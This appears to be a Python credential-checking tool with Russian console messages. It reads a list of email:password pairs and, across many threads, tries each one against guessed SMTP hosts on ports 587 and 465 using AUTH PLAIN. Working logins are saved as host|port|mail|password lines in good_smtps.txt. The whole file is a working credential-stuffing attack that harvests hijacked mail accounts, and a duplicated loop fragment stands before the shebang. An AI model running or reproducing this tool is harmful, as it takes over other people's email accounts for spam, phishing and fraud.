with ThreadPoolExecutor(S_THREADS) as executor:
    results = [
        executor.submit(check_one_email, data) for data in dataset
    ]
    for future in as_completed(results):
        pass
print("\nEND")
os._exit(1)

 #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import ssl
import sys
import time
import random
import base64
import smtplib
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from loguru import logger
from datetime import datetime
import traceback
import socket
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
GREY = "\033[90m"
RED = "\033[91m"
GREEN = "\033[92m"
GREENYELOOW = '\033[33m'
YELLOW = "\033[93m"
ORANGE = '\033[31m'
BLUE = "\033[94m"
VIOLET = '\033[95m'
CYAN = '\033[96m'
WHITE = "\033[37m"
def formatter(record):
    base_format = "{time:YYYY-MM-DD at HH:mm:ss} || {level} || {message}\n{extra[error_only]}"
    exc = record["exception"]
    if exc is None:
        record["extra"]["error_only"] = ""
    else:
        type_, value, _ = exc
        error_only = "".join(traceback.format_exception_only(type_, value))
        record["extra"]["error_only"] = error_only
    return base_format
logger.remove()
logger.add(sys.stderr, format=formatter, level="INFO")
logger.add(
    "checker.log",
    level="WARNING",
    format=formatter,
    rotation="5 MB",
    encoding='utf8',
    diagnose=True,
    backtrace=True,
)
PREFIX_LST = [
    '',
    'smtp.',
    'mail.',
    'smtp2.',
    'pop.',
    'pop3.',
    'smtp-mail.',
    'smtpout.'
]
PORT_LST = ['587', '465']
mail_list_file_path = f"{os.getcwd()}\\emails.txt"
def read_file(file_path: str) -> list:
    with open(file_path, 'r') as fr:
        array = fr.read().split('\n')
    return array
def overwriting_file_without_empty_lines(file_path: str, array: list):
    with open(file_path, 'w') as fw:
        array = list(filter(None, array))
        for index, line in enumerate(array, 1):
            if index == len(array):
                fw.write(line)
            else:
                fw.write(f'{line}\n')
def deleting_empty_lines_in_file(file_path: str) -> None:
    array = read_file(file_path)
    overwriting_file_without_empty_lines(file_path, array)
def get_not_empty_list(file_path: str) -> list or None:
    if not os.stat(file_path).st_size:
        print('{} is empty'.format(file_path))
        os._exit(1)
    else:
        deleting_empty_lines_in_file(file_path)
        array = read_file(file_path)
        return array
def add_bad(mail: str, password: str) -> None:
    with open('bad_mail.txt', 'a') as fw:
        fw.write(f'{mail}:{password}\n')
@logger.catch
def check_one_email(data: tuple) -> None:
    index, prompt = data[0], data[1]
    try:
        if ';' in prompt:
            if ':' not in prompt:
                prompt = prompt.replace(';', ':', 1)
        mail = prompt.split(':')[0]
        password = prompt.split(':')[1]
        print('{0}[{1}{2}{0}]  {1}Обработка->{3} {4}'.format(
            CYAN, GREY, index, WHITE, prompt
        ))
        userhost = mail.split('@')[-1]
        base64_str = (f"\x00{mail}\x00{password}").encode()
        base64_str = base64.b64encode(base64_str)
        authMsg = "AUTH PLAIN ".encode() + base64_str + "\r\n".encode()
        isGood = False
        for port in PORT_LST:
            for prefix in PREFIX_LST:
                host = f'{prefix}{userhost}'
                with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
                    sock.settimeout(5.0)
                    try:
                        sock.connect((host, int(port)))
                        sock.setblocking(0)  # неблокирующий ввод-вывод
                        sock.settimeout(None)
                        if port == '465':
                            sock = ssl.wrap_socket(sock)
                        data = sock.recv(1024)
                        if data[0:3].decode() != '220':
                            continue
                        sock.send(b'EHLO ADMIN\r\n')
                        res1 = sock.recv(1024)
                        if res1[0:3].decode() != '250':
                            continue
                        sock.send(authMsg)
                        res2 = sock.recv(1024)
                        if res2[0:3].decode() != '235':
                            continue
                        smtp_line = "{}|{}|{}|{}".format(
                            host, port, mail, password
                        )
                        print(
                            '{}[+]  {}{}'.format(
                                GREEN, smtp_line, ENDC
                            )
                        )
                        isGood = True
                        with open('good_smtps.txt', 'a') as fw:
                            fw.write(f'{smtp_line}\n')
                        break
                    except OSError:
                        logger.debug(f"OSError {host}:{port}")
                        pass
                    except ConnectionRefusedError:
                        logger.debug(f"ConnectionRefusedError {host}:{port}")
                        break
                    except ConnectionResetError:
                        logger.debug(f"ConnectionResetError {host}:{port}")
                        break
                    except Exception as ex:
                        logger.error(f"{host}:{port}\n{ex}")
                        continue
            if isGood:
                break
        if not isGood:
            add_bad(mail, password)
    except Exception as ex:
        logger.exception(f"{ex} >>> {prompt}")
def get_dataset(mail_lst: list) -> list:
    dataset = []
    for index, mail in enumerate(mail_lst, 1):
        dataset.append((index, mail))
    return dataset
@logger.catch
def main(dataset: list):
    with ThreadPoolExecutor(S_THREADS) as executor:
        results = [
            executor.submit(check_one_email, data) for data in dataset
        ]
        for future in as_completed(results):
            try:
                future.result()
            except Exception as ex:
                logger.exception("Error in main foo {}", ex)
if __name__ == '__main__':
    try:
        with open('checker.log', 'a+', encoding='utf-8') as fw:
            fw.write("-------------------------------------------\n")
            fw.write(f"[ START CHECK ] {datetime.now()}\n")
            fw.write("-------------------------------------------\n")
        separator = '-' * 51
        os.system('cls')
        print(f'{GREENYELOOW}+{separator}+')
        mail_lst = get_not_empty_list(mail_list_file_path)
        with open('good_smtps.txt', 'w'):
            pass
        while True:
            print(f'{GREENYELOOW}+{separator}+')
            S_THREADS = int(input(f'{GREENYELOOW}[!]  Выберите количество потоков(min=10, max=100):{ENDC} '))
            if isinstance(S_THREADS, int):
                break
        print(f'{GREENYELOOW}+{separator}+{WHITE}')
        print(
            f'{WHITE}[!]  В обработке {len(mail_lst)} emails{ENDC}'
        )
        print()
        print()
        dataset = get_dataset(mail_lst)
        res = threading.Thread(
            target=main,
            args=(dataset,),
            daemon=True,
        )
        res.start()
        res.join()
        # print(res.is_alive())
        print(f"\n{GREEN}END{WHITE}")
        os._exit(1)
    except KeyboardInterrupt:
        logger.info('Скрипт остановлен')
        os._exit(1)
    except Exception as ex:
        logger.exception(ex)